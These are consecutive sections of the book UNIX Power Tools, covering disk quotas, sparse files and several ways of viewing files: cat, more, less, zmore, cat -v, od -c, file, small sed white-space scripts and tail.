No matter how much disk space you have, you will eventually run out. One way the system administrator can force users to clean up is to impose quotas on disk usage. BSD UNIX supports a disk quota system that will enforce the quotas the system administrator sets up. Prior to V.4, System V had no quota system at all. In Release V.4, System V supports quotas for BSD-style (UFS) filesystems.

If you're a user, how do quotas affect you? Sooner or later, you may find that you're over your quota. Quotas are maintained on a per-filesystem basis. They may be placed on disk storage (the number of blocks) and on inodes (the number of files). The quota system maintains the concept of hard and soft limits. When you exceed a soft limit, you'll get a warning (WARNING: disk quota exceeded), but you can continue to accumulate more storage. The warning will be repeated whenever you log in. At some point (i.e., after some number of sessions in which the storage stays above the soft limit), the system loses patience and refuses to allocate any more storage. You'll get a message like OVER DISK QUOTA: NO MORE DISK SPACE. At this point, you must delete files until you're again within the soft limit. Users are never allowed to exceed their hard limit. This design allows you to have large temporary files without penalty, provided that they do not occupy too much disk space long-term.

There may also be a quota on the number of files (i.e., inodes (1.22)) you can own per filesystem. It works exactly the same way; you'll get a warning when you exceed the soft limit; if you don't delete some files, the system will eventually refuse to create new files.

- ML

Previous: 24.16 Trimming a Huge Directory | UNIX Power Tools | Next: 24.18 Huge Files Might Not Take a Lot of Disk Space
24.16 Trimming a Huge Directory | Book Index | 24.18 Huge Files Might Not Take a Lot of Disk Space
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.18 Huge Files Might Not Take a Lot of Disk Space

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.17 Disk Quotas Chapter 24
Other Ways to Get Disk Space 		Next: IV. Looking Inside Files

24.18 Huge Files Might Not Take a Lot of Disk Space

If you're doing filesystem cleanup, you use ls -l, and see a file with ten million bytes... "Yipes!" you say, "That must be eating a lot of disk space!" But if you remove the file, df (24.9) shows almost no difference in disk space. Why?

It could be a sparse file, a file with a lot more NUL characters in it than anything else (that's a general definition, but it's basically correct). The command ls -ls (17.14) will show you sparse files; the disk usage in the first column will be relatively much smaller than the character count:

% ls -ls
total 128
  64 -rw-r--r--  1 jerry     8413616 Nov  9 16:49 core
  64 -rw-r--r--  1 jerry       64251 Nov  7 18:22 dns.tar

Programs that use dbm (database management subroutines) often create sparse files because dbm uses file location as part of its hashing and tries to spread out entries in the database file so there is lots of blank space between them.

Many UNIX filesystems (although not all - the Andrew File System, for example does not) support the ability to greatly reduce the amount of space taken up by a file that is mostly NULs by not really storing the file blocks that are filled with NULs. Instead, the OS keeps track of how many blocks of NULs there are between each block that has something other than NULs in it, and feeds NULs to anybody who tries to read the file, even though they're not really being read off a disk.

You can create a sparse file in C by using fopen(3) to open a file and fseek(3) to move the file pointer far past the end of the file without writing anything. The file up to where you fseek will contain NULs, and the kernel (probably) won't save all of those NULs to disk.

By the way, sparse files can be a problem to copy. The kernel isn't smart enough to figure out you're feeding it a sparse file if you actually feed it the NULs. Therefore, standard file copying programs like cp that just read the file in and write it out in a different location lose, because they end up creating a file that really does take up as much as space physically as there are NULs in the abstract file object. Then your disk space might really be in trouble. [Some operating systems have a cp -z option to solve this problem. -TC ]

- JIK, JP

Previous: 24.17 Disk Quotas | UNIX Power Tools | Next: IV. Looking Inside Files
24.17 Disk Quotas | Book Index | IV. Looking Inside Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] Showing What's in a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: IV. Looking Inside Files Chapter 25 Next: 25.2 Four Ways to Skin a cat

25. Showing What's in a File

Contents:
Cracking the Nut
Four Ways to Skin a cat
Using more to Page Through Files
The "less" Pager: More than "more"
Page Through Compressed, RCS, Unprintable Files
What's in That White Space?
Show Non-Printing Characters with cat -v or od -c
Finding File Types
Adding and Deleting White Space
Squash Extra Blank Lines
crush: A cat that Skips all Blank Lines
Double Space, Triple Space ...
pushin: Squeeze Out Extra White Space
How to Look at the End of a File: tail
Finer Control on tail
How to Look at a File as It Grows
An Alias in Case You Don't Have tail
Watching Several Files Grow
Reverse Lines in Long Files with flip
Printing the Top of a File
Numbering Lines

25.1 Cracking the Nut

This chapter talks about the many ways of dumping a file to the screen. Most users know the brute force approach provided by cat (25.2), but there's more to it than that:

  • Pagers like more (25.3) and less (25.4) that give you more control when looking through long files.

  • Looking at files that are compressed or otherwise unviewable (article 25.5).

  • Finding out what type of data a file contains before opening it (article 25.8).

  • Adding and deleting blank lines or other white space before displaying a file (articles 25.9 through 25.13).

  • Looking at just the beginning or just the end of a file (articles 25.14 through 25.20).

  • Numbering lines (article 25.21).

- TOR

Previous: IV. Looking Inside Files | UNIX Power Tools | Next: 25.2 Four Ways to Skin a cat
IV. Looking Inside Files | Book Index | 25.2 Four Ways to Skin a cat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.2 Four Ways to Skin a cat

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.1 Cracking the Nut Chapter 25
Showing What's in a File 		Next: 25.3 Using more to Page Through Files

25.2 Four Ways to Skin a cat

The cat command may well be the first command new users hear about, if only because of its odd name. cat stands for concatenate or, as some would say, catenate. Both words mean the same thing: to connect in a series. The cat command takes its filename arguments, and strings their contents together. Essentially, cat takes its input and spits it out again.

cat has many uses, but the four most basic applications are described in the following list. In many ways, they don't illustrate cat so much as they illustrate the shell's output redirection (13.1) mechanism.

  1. First form:

    % cat file
% cat file1 file2 file...

    Use this form to display one or more files on the screen. The output doesn't pause when the screen is full. As a result, if your files are more than one screenful long, the output will whiz by without giving you a chance to read it. To read output by screenfuls, use the more (25.3) command or some other pager, like less (25.4). [1]

    [1] You may think this command form is pointless. The truth is, this form is rarely used in such a basic way. More often, you'll use this form along with some of cat's display options or connect this command to other UNIX commands via a pipe (1.3).

  2. Second form:

    % cat files > new_file

    Use this form when you want to combine several smaller files into one large file. Be sure the destination file does not already exist; otherwise, it will be replaced by the new contents (effectively destroying the original). For example, the command:

    % cat chap1 chap2 chap3 > book

    creates a new file, book, composed of three files, one after the other. The three component files still exist as chap1, chap2, and chap3.

  3. Third form:

    % cat file >> existing_file
% cat files >> existing_file

    Use this form to add one or more files to the end of an existing file. For example:

    % cat note1 note2 > note_list
% cat note3 >> note_list

  4. Fourth form:

    % cat > newfile

    Use this form as a quick-and-dirty way to create a new file. This is useful when you aren't yet familiar with any of the standard text editors. With this command, everything you type at the keyboard goes into the new file. (You won't be able to back up to a previous line.) To finish your input, enter CTRL-d on a line by itself.

Well, that was just in case there are some beginners on board. Articles 13.13, 25.7, 25.10, and 25.21 give some more useful tips about cat options.

- DG

Previous: 25.1 Cracking the Nut | UNIX Power Tools | Next: 25.3 Using more to Page Through Files
25.1 Cracking the Nut | Book Index | 25.3 Using more to Page Through Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.3 Using more to Page Through Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.2 Four Ways to Skin a cat Chapter 25
Showing What's in a File 		Next: 25.4 The "less" Pager: More than "more"

25.3 Using more to Page Through Files

The more utility is light-years ahead of cat (25.2). It lets you read files one page at a time. If you had only cat and wanted to read long files, you'd have to read very fast or have a quick trigger finger (on CTRL-s (41.2)) to stop the text - or get used to reading the last few lines of a file, and no more. In fact, even the most backward versions of more are infinitely preferable to cat for reading a file - so much so that I don't understand why anyone uses cat for this purpose. [I cat tiny files because I have more and less (25.4) set up to clear my screen (with the -c option) before displaying a file. -TC ]

When you start more, it displays the first screen of the file. To move to the next page, press the space bar. You can continue to move forward through the file by pressing the space bar or by pressing RETURN (which moves you forward one line). More recent versions of more allow you to "back up" to previous pages in the file by typing b.

Some other features:

  • If you list several files on the command line, you can type :n to move to the next file and :p to move to the previous one.

  • You can get a "help" screen at any time by typing h.

  • You can jump from more into the vi editor by typing v.

  • You can search for a string by typing /, followed by the string you want. The search string can be a full regular expression (26.1). You can find the next occurrence of a string by typing n.

If you invoke more with two or more files, it will display a short header at the beginning of each file. This little nicety is strangely useful. Let's say you want to print all of your .h files with a single command, and you'd like some kind of label before each file. You can use more to create the labels (43.10) for you:

pr lpr
% more *.h | pr | lpr

(When more isn't writing to a terminal, it doesn't expect you to type anything; it dumps all files to standard output.)

more has a few defects:

  • Even the best versions can't back up while reading a pipe. So if you pipe the output from some command into more, b won't work.

  • When you get to the end of the last file, more quits. I guess there's nothing wrong with this behavior, but I don't like it; I'd rather have the chance to back up or move to an earlier file.

  • Some implementations of more (System V) terminate if you search for a string that it can't find.

A program called less (25.4)less utility solves all of these problems.

[Some versions of System V support a somewhat equivalent program called pg instead of more. And some people like to look at files with a read-only version of vi called view. I prefer more or less. :-) -TOR ]

- ML

Previous: 25.2 Four Ways to Skin a cat | UNIX Power Tools | Next: 25.4 The "less" Pager: More than "more"
25.2 Four Ways to Skin a cat | Book Index | 25.4 The "less" Pager: More than "more"
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.4 The "less" Pager: More than "more"

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.3 Using more to Page Through Files Chapter 25
Showing What's in a File 		Next: 25.5 Page Through Compressed, RCS, Unprintable Files

25.4 The "less" Pager: More than "more"

less
less is one of those classic file-listing programs, like list on MS-DOS, that does so much you never realized you needed to do. It does so much more than more (25.3), and does it so much better, that it's one of the first programs I port to a new computer. If I tried to cover all the features, this article would be ten pages long. Luckily, less comes with online help (type h) and a comprehensive manual page, which is stored with the software on the disc.

Some of the features and advantages:

  • No relearning: less does the right thing when you use more, vi (30.2), or emacs (32.1) file-browsing commands.

  • While reading from pipes (1.3), less can redraw the screen and read previous pages.

  • Lots of ways to move to certain parts of the file: by line number, percentage, screen, with a search. Can mark and return to lines.

  • For programmers: handles nonstandard tabstops (41.4). Finds matching braces and parentheses.

  • An incredible number of screen-control settings and options to make the screen look like you want it, including position after searches. Customizable prompt to give you the information you want.

The lesskey program (which is included with the less distribution on the disc) lets you make custom key definitions. You can store your favorite setup options in the LESS environment variable (6.1).

- JP, TOR

Previous: 25.3 Using more to Page Through Files | UNIX Power Tools | Next: 25.5 Page Through Compressed, RCS, Unprintable Files
25.3 Using more to Page Through Files | Book Index | 25.5 Page Through Compressed, RCS, Unprintable Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.5 Page Through Compressed, RCS, Unprintable Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.4 The "less" Pager: More than "more" Chapter 25
Showing What's in a File 		Next: 25.6 What's in That White Space?

25.5 Page Through Compressed, RCS, Unprintable Files

zmore
Compressed (24.7) files save disk space. But compressed files aren't as convenient to work with: you have to uncompress them before you can read or edit them. The zmore script (also named zpg and zless) makes the job easier. It uncompresses one or more files and feeds them to a pager: more (25.3), pg, or less (25.4). (The script uses GNU gzcat, which can read both gzip and compress format.) The script can also page through files that have been made printable by cat -v -t -e (25.7, 25.6). This is a safe way to page through files that might have unprintable characters that could mess up your terminal if they weren't filtered. Finally, the script can page through the latest revision of an RCS file (20.14).

Here's an example. Let's page through the gzipped files data.gz and ../summary.gz. Then we'll read the suspiciously named file Ex034912 to see what's in it:

% zmore data ../summary      You don't need to type the .gz

   ...First screen of data.gz, uncompressed...

--More--

   ...The rest of data.gz, uncompressed...

zmore: Press RETURN to see next file, '../summary':

   ...First screen of ../summary.gz, uncompressed...

% vmore Ex034912

   ...First screen of Ex034912, filtered with cat -t -v -e...

The same script file does all those things. It's written to have eight other links (18.3): zpg, zless, vmore, vpg, vless, rcsmore, rcspg, and rcsless. The script tests the name it was called with, from $0, to decide whether to use gzcat, cat -t -v -e, or co -p, and which pager to run. This trick saves disk space. You can change the pagers used by modifying the script and adding or removing links to it. The absolute pathnames at the start of the script may need to be changed for your system.

Most pager programs can't back up or move around as easily when they're reading from a pipe. (less can.) You can use a temporary file instead. That's not as efficient as using a pipe, but it's good to be able to do. To do that, add the following two lines after the second case statement:

/tmp..$$
trap
temp=/tmp/$myname$$
trap 'rm -f $temp; exit' 0 1 2 15

And change this line inside the while loop, around line 38:

*) $cat "$1" | $prog $opts ;;

to these three lines:

*) $cat "$1" > $temp
   $prog $opts $temp
   ;;

- JP

Previous: 25.4 The "less" Pager: More than "more" | UNIX Power Tools | Next: 25.6 What's in That White Space?
25.4 The "less" Pager: More than "more" | Book Index | 25.6 What's in That White Space?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.6 What's in That White Space?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.5 Page Through Compressed, RCS, Unprintable Files Chapter 25
Showing What's in a File 		Next: 25.7 Show Non-Printing Characters with cat -v or od -c

25.6 What's in That White Space?

The cat -v option (25.7) shows non-printable characters in a printable way. cat has two options for displaying white space in a line. If you use the -t option with -v, TAB characters are shown as ^I. The -e option combined with -v marks the end of each line with a $ character. Some versions of cat don't require the -v with those options. Let's compare a one-line file without and with the -t -e (which have to be typed separately, by the way; -te won't work):

% cat afile
This is a one-line file - boring, eh?
% cat -v -t -e afile
ThiS^Hs is^Ia one-line file^I- boring, eh?       $

Although you can't tell it from plain cat, there's a backspace (CTRL-h) before the first s, two TABs that take up only one column of white space each, and seven spaces at the end of the line. Knowing this can help you debug problems in printing and displaying files. It's also a help for shell programmers who need to parse or sort the output of other programs.

- JP

Previous: 25.5 Page Through Compressed, RCS, Unprintable Files | UNIX Power Tools | Next: 25.7 Show Non-Printing Characters with cat -v or od -c
25.5 Page Through Compressed, RCS, Unprintable Files | Book Index | 25.7 Show Non-Printing Characters with cat -v or od -c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.7 Show Non-Printing Characters with cat -v or od -c

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.6 What's in That White Space? Chapter 25
Showing What's in a File 		Next: 25.8 Finding File Types

25.7 Show Non-Printing Characters with cat -v or od -c

Especially if you use an ASCII-based terminal, files can have characters that your terminal can't display. Some characters will lock up your communications software or hardware, make your screen look strange, or cause other weird problems. So if you'd like to look at a file and you aren't sure what's in there, it's not a good idea to just cat the file!

Instead, try cat -v. It turns non-printable characters into a printable form. In fact, although most manual pages don't explain how, you can read the output and see what's in the file. Another utility for displaying non-printable files is od. I usually use its -c option when I need to look at a file character by character.

Let's look at a file that's almost guaranteed to be unprintable: a directory file. This example is on a standard V7 (UNIX Version 7) filesystem. (Unfortunately, some UNIX systems won't let you read a directory. If you want to follow along on one of those systems, try a compressed file (24.7) or an executable program from /bin.) A directory usually has some long lines, so it's a good idea to pipe cat's output through fold (43.8):

-f

% ls -fa
.
..
comp
% cat -v . | fold -62
M-^?^N.^@^@^@^@^@^@^@^@^@^@^@^@^@>^G..^@^@^@^@^@^@^@^@^@^@^@^@
M-a
comp^@^@^@^@^@^@^@^@^@^@^@^@MassAveFood^@^@^@^@^@hist^@^@^
@^@^@^@^@^@^@^@
% od -c .
0000000 377 016   .  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000020   > 007   .   .  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000040 341  \n   c   o   m   p  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000060  \0  \0   M   a   s   s   A   v   e   F   o   o   d  \0  \0  \0
0000100  \0  \0   h   i   s   t  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000120

Each entry in a V7-type directory is 16 bytes long (that's also 16 characters, in the ASCII (51.3) system). The od -c command starts each line with the number of bytes, in octal, shown since the start of the file. The first line starts at byte 0. The second line starts at byte 20 (that's byte 16 in decimal, the way most of us count). And so on. Enough about od for now, though. We'll come back in a minute. Time to dissect the cat -v output:

  • You've probably seen sequences like ^N and ^G. Those are control characters. (Find them in the cat -v output, please.)

    Another character like this is ^@, the character NUL (ASCII 0). There are a lot of NULs in the directory; more about that below. A DEL character (ASCII 177 octal) is shown as ^?. Check an ASCII chart (51.3).

  • cat -v has its own symbol for characters outside the ASCII range with their high bits set, also called metacharacters. cat -v prints those as M- followed by another character. There are two of them in the cat -v output: M-^? and M-a.

    To get a metacharacter, you add 200 octal. "Say what?" Let's look at M-a first. The octal value of the letter a is 141. When cat -v prints M-a, it means the character you get by adding 141+200, or 341 octal.

    You can decode the character cat prints as M-^? in the same way. The ^? stands for the DEL character, which is octal 177. Add 200+177 to get 377 octal.

  • If a character isn't M-something or ^something, it's a regular printable character. The entries in the directory (., .., comp, MassAveFood, and hist) are all made of regular ASCII characters.

    If you're wondering where the entries MassAveFood and hist are in the ls listing, the answer is: they aren't. Those entries have been deleted from the directory. UNIX puts two NUL (ASCII 0, or ^@) bytes in front of the name when a file has been deleted.

cat has two options, -t and -e, for displaying white space in a line. The -v option doesn't convert TAB and trailing space characters to a visible form without those options. See article 25.6.

Next, time for od -c; it's easier to explain than cat -v:

  • od -c shows some characters starting with a backslash (\). It uses the standard UNIX and C abbreviations for control characters (52.9) where it can. For instance, \n stands for a newline character, \t for a tab, etc. There's a newline at the start of the comp entry - see it in the od -c output? That explains why the cat -v output was broken onto a new line at that place: cat -v doesn't translate newlines when it finds them.

    The \0 is a NUL character (ASCII 0). It's used to pad the ends of entries in V7 directories when a name isn't the full 14 characters long.

  • od -c shows the octal value of other characters as three digits. For instance, the 007 means "the character 7 octal." cat -v shows this as ^G (CTRL-g).

    Metacharacters, the ones with octal values 200 and above, are shown as M-something by cat -v. In od -c, you'll see their octal values - like 341.

    Each directory entry on a UNIX Version 7 filesystem starts with a two-byte "pointer" to its location in the disk's inode table. When you type a filename, UNIX uses this pointer to find the actual file information on the disk. The entry for this directory (named .) is 377 016. Its parent (named ..) is at > 007. And comp's entry is 341 \n. Find those in the cat -v output, if you want - and compare the two outputs.

  • Like cat -v, regular printable characters are shown as is by od -c.

The strings (27.19) program finds printable strings of characters (such as filenames) inside mostly non-printable files (like executable binaries).

- JP

Previous: 25.6 What's in That White Space? | UNIX Power Tools | Next: 25.8 Finding File Types
25.6 What's in That White Space? | Book Index | 25.8 Finding File Types
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.8 Finding File Types

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.7 Show Non-Printing Characters with cat -v or od -c Chapter 25
Showing What's in a File 		Next: 25.9 Adding and Deleting White Space

25.8 Finding File Types

Many different kinds of files live on the typical UNIX system: database files, executable files, regular text files, files for fancy editors like Interleaf, tar files, mail messages, directories, font files, and so on.

You often want to check to make sure you have the right "kind" of file before doing something. For example, you'd like to read the file tar. But before typing more tar, you'd like to know whether this file is your set of notes on carbon-based sludge, or the tar executable. If you're wrong, the consequences might be unpleasant. Sending the tar executable to your screen might screw up your terminal settings (42.4), log you off, or do any number of hostile things.

The file utility tells you what sort of file something is. [2] It's fairly self-explanatory:

[2] Another solution to this problem is findtext (16.26).

% file /bin/sh
/bin/sh:       sparc demand paged executable
% file 2650
2650:          [nt]roff, tbl, or eqn input text
% file 0001,v
0001,v:        ascii text
% file foo.sh
foo.sh:          shell commands

file is actually quite clever [though it isn't always correct - some versions are better than others - JP ]. It doesn't just tell you if something's binary or text; it looks at the beginning of the file and tries to figure out what it's doing. So, for example, you see that file 2650 is an nroff (43.13) file and foo.sh is a shell script. It isn't quite clever enough to figure out that 0001,v is an RCS (20.14) archive, but it does know that it's a plain ASCII (51.3) text file.

System V and SunOS let you customize the file command so that it will recognize additional file types. The file /etc/magic tells file how to recognize different kinds of files. It's capable of a lot (and should be capable of even more), but we'll satisfy ourselves with an introductory explanation. Our goal will be to teach file to recognize RCS archives.

/etc/magic has four fields:

offset data-type value file-type

These are:

offset

The offset into the file at which magic will try to find something. If you're looking for something right at the beginning of the file, the offset should be 0. (This is usually what you want.)

data-type

The type of test to make. Use string for text comparisons, byte for byte comparisons, short for two-byte comparisons, and long for four-byte comparisons.

value

The value you want to find. For string comparisons, any text string will do; you can use the standard UNIX escape sequences (like \n for newline). For numeric comparisons (byte, short, long), this field should be a number, expressed as a C constant (e.g., 0x77 for the hexadecimal byte 77).

file-type

The string that file will print if this test succeeds.

So, we know that RCS archives begin with the word head. This word is right at the beginning of the file (offset 0). And we obviously want a string comparison. So we make the the following addition to /etc/magic:

0     string     head     RCS archive

This says, "The file is an RCS archive if you find the string head at an offset of 0 bytes from the beginning of the file." Does it work?

% file RCS/0002,v
RCS/0002,v:        RCS archive

As I said, the tests can be much more complicated, particularly if you're working with binary files. To recognize simple text files, this is all you need to know.

- ML

Previous: 25.7 Show Non-Printing Characters with cat -v or od -c | UNIX Power Tools | Next: 25.9 Adding and Deleting White Space
25.7 Show Non-Printing Characters with cat -v or od -c | Book Index | 25.9 Adding and Deleting White Space
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.9 Adding and Deleting White Space

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.8 Finding File Types Chapter 25
Showing What's in a File 		Next: 25.10 Squash Extra Blank Lines

25.9 Adding and Deleting White Space

There are a lot of ways to change the amount of white space (space and tab characters) in a line:

  • Berkeley systems have cat -s (25.10) to replace sets of two or more blank lines with single blank lines. If you don't have cat -s or need something different, look at article 34.18.

  • The crush (25.11) script removes all blank lines.

  • Use doublespace and triplespace (25.12) to double- and triple-space text.

  • The pushin (25.13) script replaces multiple white space characters with a single space. This can shorten long lines.

  • You can use sed to indent lines of text before printing (43.9). The offset (35.7) shell script does that more easily.

  • For other jobs, utilities like awk (33.11) and sed (34.24) will probably do what you want. You have to understand how to program them before you use them.

- JP

Previous: 25.8 Finding File Types | UNIX Power Tools | Next: 25.10 Squash Extra Blank Lines
25.8 Finding File Types | Book Index | 25.10 Squash Extra Blank Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.10 Squash Extra Blank Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.9 Adding and Deleting White Space Chapter 25
Showing What's in a File 		Next: 25.11 crush: A cat that Skips all Blank Lines

25.10 Squash Extra Blank Lines

Reading output with lots of empty lines can be a waste of screen space. For instance, some System V versions of man (50.1) show all the blank lines between manual pages. To stop that, read your file or pipe it through cat -s. (Many versions of more (25.3) have a similar -s option.) The -s option replaces multiple blank lines with a single blank line. (If your cat doesn't have -s, see the sed alternative at the end.)

cat -s might not always seem to work. The problem is usually that the "empty" lines have SPACE, TAB, or CTRL-m characters on them. The fix is to let sed "erase" lines with those invisible characters on them:

% sed 's/^[[SPACE][TAB][CTRL-v][CTRL-m]]*$//' file | cat -s

In vi (31.6) and many terminal drivers (42.1), the CTRL-v character quotes the CTRL-m (RETURN) so that character doesn't end the current line.

If you don't have cat -s, then sed can do both jobs:

% sed -e 's/^[[SPACE][TAB][CTRL-v][CTRL-m]]*$//' -e '/./,/^$/!d' file

- JP

Previous: 25.9 Adding and Deleting White Space | UNIX Power Tools | Next: 25.11 crush: A cat that Skips all Blank Lines
25.9 Adding and Deleting White Space | Book Index | 25.11 crush: A cat that Skips all Blank Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.11 crush: A cat that Skips all Blank Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.10 Squash Extra Blank Lines Chapter 25
Showing What's in a File 		Next: 25.12 Double Space, Triple Space ...

25.11 crush: A cat that Skips all Blank Lines

Sometimes I have a series of files, or just one file, with lots of blank lines. Some systems have a -s option to cat that causes it to compress adjacent blank lines into one. If that option isn't available, you can use crush. The crush script skips all lines that are empty or have only blanks and/or TABs. Here it is:

#!/bin/sed -f
/^[    ]*$/d

The brackets, [ ], have a TAB and a space in them. That file doesn't even use a shell, so it's efficient; the kernel starts sed directly (45.3) and gives it the script itself as the input file expected with the -f option. If your UNIX can't execute files directly with #!, type in this version instead:

exec sed '/^[    ]*$/d' ${1+"$@"}

It starts a shell, then exec replaces the shell with sed (45.7). The ${1+"$@"} works around a problem with argument handling (46.7) in some Bourne shells.

- JP

Previous: 25.10 Squash Extra Blank Lines | UNIX Power Tools | Next: 25.12 Double Space, Triple Space ...
25.10 Squash Extra Blank Lines | Book Index | 25.12 Double Space, Triple Space ...
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.12 Double Space, Triple Space ...

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.11 crush: A cat that Skips all Blank Lines Chapter 25
Showing What's in a File 		Next: 25.13 pushin: Squeeze Out Extra White Space

25.12 Double Space, Triple Space ...

Here are handy scripts for printing drafts of files. They double-space or triple-space file(s) or standard input. For example:

% doublespace afile | lp
% prog | triplespace | lp

doublespace
triplespace
Here they are:

doublespace   triplespace

#!/bin/sed -f   #!/bin/sed -f
G   G
   G

No, that isn't a typo: both scripts just use the sed command G (34.24). The G command appends a newline and the contents of sed's hold space, which will be empty in this script. The effect is to add a newline after every newline; two Gs add two newlines.

That file doesn't even use a shell, so it's efficient; the kernel starts sed directly (45.3) and gives it the script itself as the input file expected with the -f option. If your UNIX can't execute files directly with #!, type in these versions instead:

doublespace   triplespace
exec /bin/sed G ${1+"$@"}   exec /bin/sed 'G;G' ${1+"$@"}

They start a shell, then exec replaces the shell with sed (45.7). The ${1+"$@"} works around a problem with argument handling (46.7) in some Bourne shells.

And now you know how to make quadruplespace, quintuplespace, ... :-).

- JP

Previous: 25.11 crush: A cat that Skips all Blank Lines | UNIX Power Tools | Next: 25.13 pushin: Squeeze Out Extra White Space
25.11 crush: A cat that Skips all Blank Lines | Book Index | 25.13 pushin: Squeeze Out Extra White Space
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.13 pushin: Squeeze Out Extra White Space

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.12 Double Space, Triple Space ... Chapter 25
Showing What's in a File 		Next: 25.14 How to Look at the End of a File: tail

25.13 pushin: Squeeze Out Extra White Space

If you're viewing or printing a file with lines that are too long to read, you can use a program like fold (43.8) to fold the lines. Or, if there's lots of white space in each line - multiple spaces and/or TABs next to each other - you can use the script at the end of this article. The pushin script replaces series of spaces and/or TABs with a single space, "pushing in" each line as much as it can. It reads from files or standard input and writes to standard output.

Here's an example of lines in a file that aren't too long (we can't print long lines in this book, anyway) but that do have a lot of white space. Imagine how pushin would help with longer lines:

% cat data
resistor           349-4991-02                  23
capacitor          385-2981-49                  16
diode              405-3951-58                   8
% pushin data
resistor 349-4991-02 23
capacitor 385-2981-49 16
diode 405-3951-58 8

Here's the script:

#!/bin/sed -f
s/[  ][   ]*/ /g

Inside each pair of brackets, [ ], the sed substitute command has a space and a TAB. The replacement string is a single space.

That file doesn't use a shell; the kernel starts sed directly (45.3) and gives it the script itself as the input file expected with the -f option. If your UNIX can't execute files directly with #!, type in this version instead:

exec sed 's/[     ][      ]*/ /g' ${1+"$@"}

It starts a shell, then exec replaces the shell with sed (45.7). The ${1+"$@"} works around a problem with argument handling (46.7) in some Bourne shells.

- JP

Previous: 25.12 Double Space, Triple Space ... | UNIX Power Tools | Next: 25.14 How to Look at the End of a File: tail
25.12 Double Space, Triple Space ... | Book Index | 25.14 How to Look at the End of a File: tail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.14 How to Look at the End of a File: tail

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.13 pushin: Squeeze Out Extra White Space Chapter 25
Showing What's in a File 		Next: 25.15 Finer Control on tail

25.14 How to Look at the End of a File: tail

' TIM SAYS "SUBSECTIONS DON'T WORK" Let's say that you want to look at the end of some large file. For example, you've just sent some mail via UUCP (1.33) and want to find out whether it was handled correctly. But when you give the uulog command, you find out that the UUCP log file is 30 or 40 KB long, and you don't care about the whole thing - you certainly don't want to page through it until you get to the end. How do you handle this?

The tail command is just what you need in this situation. tail reads its input and discards everything except for the last ten lines (by default). Therefore, if you're pretty sure that the information you want is at the end of the file, you can use tail to get rid of the junk that you don't want. To use the uulog example:

% uulog | tail

This will give you the last ten lines of the UUCP log. If you need more or less than ten lines, look at article 25.15.

You can give tail one (and only one!) filename:

% tail somefile

There are many other situations in which tail is useful: I've used it to make sure that a job that produces a big output file has finished correctly, to remind me what the last piece of mail in my mailbox was about, and so on. You'll find tail important whenever you're interested only in the end of something.

- ML

